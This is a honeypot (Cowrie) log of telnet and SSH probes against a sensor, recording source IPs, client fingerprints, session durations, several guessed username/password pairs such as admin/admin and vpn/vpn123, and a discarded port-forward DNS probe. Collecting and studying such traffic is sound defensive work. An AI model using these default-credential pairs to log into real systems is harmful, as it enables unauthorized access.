{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41852,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3c121eac3b","protocol":"telnet","message":"New connection: 174.138.46.234:41852 (159.203.135.109:23) [session: da3c121eac3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:41.775379Z"}
{"eventid":"cowrie.session.closed","duration":6.896691799163818,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:48.671936Z","src_ip":"174.138.46.234","session":"da3c121eac3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.440862655639648,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:48.800096Z","src_ip":"45.239.253.149","session":"90d12782182b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48744,"dst_ip":"159.203.135.109","dst_port":23,"session":"aca017306a4b","protocol":"telnet","message":"New connection: 174.138.46.234:48744 (159.203.135.109:23) [session: aca017306a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:01.640426Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":60033,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c29245f2c73","protocol":"ssh","message":"New connection: 103.248.120.6:60033 (10.17.0.5:22) [session: 3c29245f2c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:22.359864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:22.364861Z","src_ip":"103.248.120.6","session":"3c29245f2c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:22.588022Z","src_ip":"103.248.120.6","session":"3c29245f2c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$%^","message":"login attempt [ubuntu/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:23.509051Z","src_ip":"103.248.120.6","session":"3c29245f2c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:24.737725Z","src_ip":"103.248.120.6","session":"3c29245f2c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.10454702377319,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:34.308587Z","src_ip":"174.138.46.234","session":"60c6951f9251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.515406370162964,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:50.155664Z","src_ip":"174.138.46.234","session":"aca017306a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37808,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe80ce8e24d1","protocol":"telnet","message":"New connection: 174.138.46.234:37808 (159.203.135.109:23) [session: fe80ce8e24d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:54:59.292619Z"}
{"eventid":"cowrie.session.closed","duration":5.820322036743164,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:05.112843Z","src_ip":"174.138.46.234","session":"fe80ce8e24d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":52780,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af6b94a5533","protocol":"telnet","message":"New connection: 217.182.190.44:52780 (10.17.0.5:23) [session: 8af6b94a5533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:13.716469Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12642,"dst_ip":"10.17.0.5","dst_port":22,"session":"23241966fd2b","protocol":"ssh","message":"New connection: 87.251.64.176:12642 (10.17.0.5:22) [session: 23241966fd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:29.036112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:29.040906Z","src_ip":"87.251.64.176","session":"23241966fd2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:29.137419Z","src_ip":"87.251.64.176","session":"23241966fd2b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:29.428393Z","src_ip":"87.251.64.176","session":"23241966fd2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:29.530988Z","session":"23241966fd2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:29.628870Z","src_ip":"87.251.64.176","session":"23241966fd2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:29.729837Z","src_ip":"87.251.64.176","session":"23241966fd2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38654,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0e531ba82a9","protocol":"telnet","message":"New connection: 20.123.41.163:38654 (10.17.0.5:23) [session: d0e531ba82a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:36.826509Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49366,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f1c4fee935","protocol":"telnet","message":"New connection: 174.138.46.234:49366 (159.203.135.109:23) [session: d3f1c4fee935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:37.050453Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49658,"dst_ip":"159.203.135.109","dst_port":23,"session":"a212de3214a7","protocol":"telnet","message":"New connection: 174.138.46.234:49658 (159.203.135.109:23) [session: a212de3214a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:37.972126Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49744,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b6c139107c","protocol":"telnet","message":"New connection: 174.138.46.234:49744 (159.203.135.109:23) [session: 61b6c139107c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:38.216328Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49944,"dst_ip":"159.203.135.109","dst_port":23,"session":"840d02db0127","protocol":"telnet","message":"New connection: 174.138.46.234:49944 (159.203.135.109:23) [session: 840d02db0127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:38.922185Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50144,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eba666637b3","protocol":"telnet","message":"New connection: 174.138.46.234:50144 (159.203.135.109:23) [session: 8eba666637b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:39.499286Z"}
{"eventid":"cowrie.session.closed","duration":5.982584476470947,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:43.032913Z","src_ip":"174.138.46.234","session":"d3f1c4fee935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818806409835815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:44.535129Z","src_ip":"217.182.190.44","session":"8af6b94a5533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.039665699005127,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:55:45.255824Z","src_ip":"174.138.46.234","session":"61b6c139107c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":42580,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b911256e3b0","protocol":"telnet","message":"New connection: 217.182.190.44:42580 (10.17.0.5:23) [session: 5b911256e3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:02.252919Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":28577,"dst_ip":"10.17.0.5","dst_port":22,"session":"b82ea5724d1e","protocol":"ssh","message":"New connection: 125.22.105.67:28577 (10.17.0.5:22) [session: b82ea5724d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:02.765159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:02.770469Z","src_ip":"125.22.105.67","session":"b82ea5724d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:03.064973Z","src_ip":"125.22.105.67","session":"b82ea5724d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passw0rd123","message":"login attempt [ubuntu/passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:04.271821Z","src_ip":"125.22.105.67","session":"b82ea5724d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":42944,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3be5a95df5f","protocol":"telnet","message":"New connection: 217.182.190.44:42944 (10.17.0.5:23) [session: a3be5a95df5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:05.156501Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:05.570846Z","src_ip":"125.22.105.67","session":"b82ea5724d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.84488892555237,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:18.671269Z","src_ip":"20.123.41.163","session":"d0e531ba82a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.748857498168945,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:23.720834Z","src_ip":"174.138.46.234","session":"a212de3214a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.44029712677002,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:24.362369Z","src_ip":"174.138.46.234","session":"840d02db0127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.29253005981445,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:27.791708Z","src_ip":"174.138.46.234","session":"8eba666637b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.31113409996033,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:35.563950Z","src_ip":"217.182.190.44","session":"5b911256e3b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39256,"dst_ip":"159.203.135.109","dst_port":23,"session":"1853b3842679","protocol":"telnet","message":"New connection: 174.138.46.234:39256 (159.203.135.109:23) [session: 1853b3842679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:38.026119Z"}
{"eventid":"cowrie.session.closed","duration":32.93084001541138,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:38.087216Z","src_ip":"217.182.190.44","session":"a3be5a95df5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39220,"dst_ip":"159.203.135.109","dst_port":23,"session":"688f9a10d84f","protocol":"telnet","message":"New connection: 174.138.46.234:39220 (159.203.135.109:23) [session: 688f9a10d84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:38.928611Z"}
{"eventid":"cowrie.session.closed","duration":4.492234706878662,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:43.420758Z","src_ip":"174.138.46.234","session":"688f9a10d84f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"d173228dabdf","protocol":"telnet","message":"New connection: 217.182.190.44:59256 (10.17.0.5:23) [session: d173228dabdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:56:45.269783Z"}
{"eventid":"cowrie.session.closed","duration":32.2890727519989,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:17.558744Z","src_ip":"217.182.190.44","session":"d173228dabdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.19996404647827,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:22.225963Z","src_ip":"174.138.46.234","session":"1853b3842679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":46844,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d1b59bcb68","protocol":"telnet","message":"New connection: 217.182.190.44:46844 (10.17.0.5:23) [session: f4d1b59bcb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:30.925494Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":57303,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b1cac908f6f","protocol":"ssh","message":"New connection: 103.248.120.6:57303 (10.17.0.5:22) [session: 9b1cac908f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:32.004341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:32.009215Z","src_ip":"103.248.120.6","session":"9b1cac908f6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:32.231708Z","src_ip":"103.248.120.6","session":"9b1cac908f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123","message":"login attempt [vpn/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:33.151598Z","src_ip":"103.248.120.6","session":"9b1cac908f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:34.377200Z","src_ip":"103.248.120.6","session":"9b1cac908f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56566,"dst_ip":"159.203.135.109","dst_port":23,"session":"dca6c9f7d05f","protocol":"telnet","message":"New connection: 174.138.46.234:56566 (159.203.135.109:23) [session: dca6c9f7d05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:35.619992Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56600,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d5bd60405b","protocol":"telnet","message":"New connection: 174.138.46.234:56600 (159.203.135.109:23) [session: 85d5bd60405b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:36.740814Z"}
{"eventid":"cowrie.session.closed","duration":6.007071256637573,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:57:42.747746Z","src_ip":"174.138.46.234","session":"85d5bd60405b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.04891753196716,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:05.974307Z","src_ip":"217.182.190.44","session":"f4d1b59bcb68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51696,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7041b02ea43","protocol":"ssh","message":"New connection: 87.251.64.176:51696 (10.17.0.5:22) [session: b7041b02ea43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:06.758487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:06.763344Z","src_ip":"87.251.64.176","session":"b7041b02ea43","protocol":"ssh"}
